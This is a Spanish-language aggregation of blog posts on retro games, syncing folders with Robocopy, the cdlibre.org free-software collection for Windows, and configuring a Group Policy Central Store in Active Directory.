Así pues, se puede afirmar que plataformas como Antstream pueden ayudar a impulsar los juegos retro más adorados por los seguidores, pero cabe destacar que en la actualidad no solo triunfan estos títulos, sino que todavía se siguen creando nuevos inspirados en los clásicos. Gracias a motores como Pyxel, que permite crear títulos con código abierto, o GameMaker Studio, se pueden idear títulos como el popular Undertale, que fue desarrollado utilizando este último.

En conclusión, los juegos retro todavía siguen teniendo notable fama entre los gamers, por lo que ya sea a través de la remasterización de títulos o con nuevos catálogos, parece que seguirán presentes por un largo tiempo.

30 Apr 17:23

Sincronizar carpetas con Robocopy

by jramos

Hola a tod@s.

En este post vamos a ver como sincronizar carpetas o directorios con el comando Robocopy.

  • La primera opción que vamos a ver será sincronizar el contenido de una carpeta en otra carpeta de la misma máquina, es decir, en una sola dirección, tenemos estas dos carpetas en la misma máquina, y queremos sincronizar el contenido de la carpeta Origen en la carpeta Destino:

  • Para ello, nos hemos creado este script syncdir1.bat:

  • Ejecutamos el script, y como podemos ver, nos sincroniza el contenido de la carpeta de Origen a la carpeta de Destino, si realizáramos alguna modificación en el contenido de cualquier archivo de la carpeta Origen, también nos sincronizaría estos cambios en los archivos de la carpeta de Destino:

  • La segunda opción que vamos a ver será sincronizar el contenido de ambas carpetas entre sí en una misma máquina, es decir, una sincronización en ambas direcciones, el contenido de la carpeta Origen se va a sincronizar con el contenido de la carpeta Destino y viceversa:

  • Para ello, nos hemos creado este script syncdir2.bat:

  • Ejecutamos el script, y como podemos ver, nos sincroniza el contenido de la carpeta de Origen a la carpeta de Destino, y viceversa, si realizáramos alguna modificación en el contenido de cualquier archivo de ambas carpetas, también nos sincronizaría estos cambios en los archivos de ambas carpetas:

  • La tercera opción que vamos a ver será sincronizar el contenido de una carpeta en otra carpeta, pero, en distintas máquinas, y en una sola dirección, tenemos estas dos carpetas en máquinas diferentes, y queremos sincronizar el contenido de la carpeta Origen de un equipo en la carpeta Destino del otro equipo:

  • Para ello, nos hemos creado este script syncdir3.bat:

  • Desde el Equipo 1 ejecutamos el script, y como podemos ver, nos sincroniza el contenido de la carpeta de Origen en el Equipo 1 a la carpeta de Destino en el Equipo 2, si realizáramos alguna modificación en el contenido de cualquier archivo de la carpeta Origen, también nos sincronizaría estos cambios en los archivos de la carpeta de Destino:

  • La cuarta opción que vamos a ver será sincronizar el contenido de ambas carpetas entre sí en las dos máquinas, es decir, una sincronización en ambas direcciones, el contenido de la carpeta Origen del Equipo 1 se va a sincronizar con el contenido de la carpeta Destino del Equipo 2 y viceversa:

  • Para ello, nos hemos creado este script syncdir4.bat:

  • Desde el Equipo 1 ejecutamos el script, y como podemos ver, nos sincroniza el contenido de la carpeta de Origen del Equipo 1 a la carpeta de Destino del Equipo 2, y viceversa, si realizáramos alguna modificación en el contenido de cualquier archivo de ambas carpetas, también nos sincronizaría estos cambios en los archivos de ambas carpetas:

  • Si quisiéramos programar una tarea con estos scripts podemos seguir este artículo que se publicó hace algunos meses en el blog.

 

Saludos y espero que os sea de ayuda 😉

08 Jan 08:13

Linux: Configurar SAMBA Active Directory

by noreply@blogger.com (Unknown)
10 May 07:20

CD Libre, software para hacer Windows libre

by Miguel Parada

Mucha gente cree que cuando hablamos de Software Libre lo hacemos para referirnos exclusivamente a Linux cuando en realidad todos sabemos que esto no es un club privado sino que es completamente transversal a todos los sistemas operativos. Software Libre es mucho más que aquellos programas que podemos correr libremente en Linux, también es una filosofía que permite a a todos los usuarios estudiar su código modificarlo y difundirlo con total libertad. Un ejemplo, programas como Mozilla Firefox, LibreOffice o GIMP son usados también en Windows por millones de personas.

Desde 2003 existe un proyecto llamado cdlibre.org, desarrollado por Bartolomé Sintes (profesor de un Instituto de Secundaria en Valencia, España) para promover el uso del software libre. cdlibre.org es probablemente el proyecto de recopilación de software libre más importante en español, tanto en cantidad, manutención de actualizaciones y aplicaciones nuevas, como también porque está enfocado principalmente en los usuarios de Windows; con un catalogo de más de 740 aplicaciones de diverso tipo de interés, desde aplicaciones de ofimática a lectores de comics entre múltiples categorías.

Podemos encontrar editores de texto como AbiWord, gestores de proyecto como GanttProyect, lectores de feeds RSS como RSSOwl o el editor gráfico Paint.NET; entre otros más desde su página web. Para ayudar en la difusión del software libre también es posible descargar recopilaciones en CD o DVD tanto de manera general como en versiones especificas de contenido (educación, juegos, programación, entre otros). Lo que yo hago habitualmente es tener un pendrive donde copio todo el software contenido en el DVD y así si un amigo “windowsero” necesita una mano poder prestársela – la USB no mi mano me refiero.

29 Mar 08:01

Configurar GPO Central Store

by ragasys

Hola a tod@s.

En este post vamos a ver como configurar GPO Central Store, esto nos va a permitir leer las plantillas administrativas desde el SYSVOL.

  • Por defecto, nuestros controladores de dominio guardan las plantillas administrativas para las configuraciones de las políticas de grupo de forma local en la ubicación C:\Windows\PolicyDefinitions, por lo tanto, si actualizamos las plantillas administrativas en uno de nuestros controladores de domino, lo estaremos haciendo de forma local, y tendremos que hacerlo en todos los demás controladores de dominio, y además tendremos que aplicarle los permisos NTFS necesarios:

  • Si nos abrimos la consola “Administración de directivas de grupo” y editamos cualquiera de nuestras GPOs, podemos ver si las plantillas administrativas se están leyendo de forma local o desde el almacén central, si nos aparece, “recuperadas del equipo local”, se estarán leyendo de forma local:

  • Ahora vamos a ver como configurar GPO Central Store, dónde las plantillas administrativas se van a leer desde el SYSVOL, y van a ser replicadas a todos los controladores de dominio, tampoco vamos a aplicar ningún tipo de permiso NTFS, para habilitar GPO Central Store, simplemente tendremos que copiar la carpeta PolicyDefinitions ubicada en C:\Windows, a la carpeta de SYSVOL dónde residen las políticas de grupo del dominio Active Directory, C:\Windows\SYSVOL\sysvol\dominioAD\Policies:

  • Ahora si nos abrimos la consola “Administración de directivas de grupo” y editamos cualquiera de nuestras GPOs, podemos ver si las plantillas administrativas se están leyendo de forma local o desde el almacén central, si nos aparece, “recuperadas del almacén central”, se estarán leyendo del GPO Central Store:

  • Las ventajas de tener configurado GPO Central Store es que a la hora de actualizar las plantillas administrativas, o de introducir plantillas nuevas, bastará con realizarlo en uno de nuestros controladores de dominio, ya que al estar en el SYSVOL se replicará a los demás controladores, y con respecto a los permisos NTFS no debemos tocar ni aplicar nada.

Saludos y espero que os sea de ayuda 😉